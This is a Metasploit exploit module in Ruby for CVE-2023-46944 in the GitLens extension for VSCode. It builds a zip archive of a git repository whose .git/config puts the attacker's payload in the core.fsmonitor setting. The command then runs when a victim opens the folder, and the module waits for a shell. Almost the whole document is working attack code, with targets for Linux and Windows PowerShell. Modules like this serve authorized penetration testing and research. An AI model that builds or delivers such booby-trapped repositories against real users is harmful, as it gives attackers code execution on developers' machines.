GitLens Git Local Configuration Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLens Git Local Configuration Exec',
        'Description' => %q{
          GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
          commands. A repo may include its own .git folder including a malicious config file to
          execute arbitrary code.

          Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit module
          'Paul Gerste', # Original advisory and PoC
        ],
        'References' => [
          ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
          ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
          ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
          ['CVE', '2023-46944']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => false,
          'FILENAME' => 'repo.zip',
          'WfsDelay' => 3_600 # 1hr
        },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Linux/Unix (In-Memory)',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Type' => :unix_cmd
            },
          ],
          # There may be a size limit, but using fetch payloads works great
          [
            'PowerShell (In-Memory)',
            {
              'Platform' => 'win',
              'Payload' => {
                'BadChars' => '"&'
              }
            }
          ],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
        },
        'Privileged' => false,
        'DisclosureDate' => '2023-11-14'
      )
    )

    register_options([
      OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
    ])
  end

  def readme
    datastore['README'].to_s
  end

  def git_head
    'ref: refs/heads/master'
  end

  def git_config
    %([core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
  end

  def exploit
    # Create malicious zip archive containing our git repo
    files =
      [
        { data: readme, fname: 'README.md' },
        { data: git_config, fname: '.git/config' },
        { data: git_head, fname: '.git/HEAD' },
        { data: '', fname: '.git/objects/info/' },
        { data: '', fname: '.git/objects/pack/' },
        { data: '', fname: '.git/refs/heads/' },
        { data: '', fname: '.git/refs/tags/' },
      ]

    zip = Msf::Util::EXE.to_zip(files)

    file_create(zip)
    print_status('Waiting for shell')
  end
end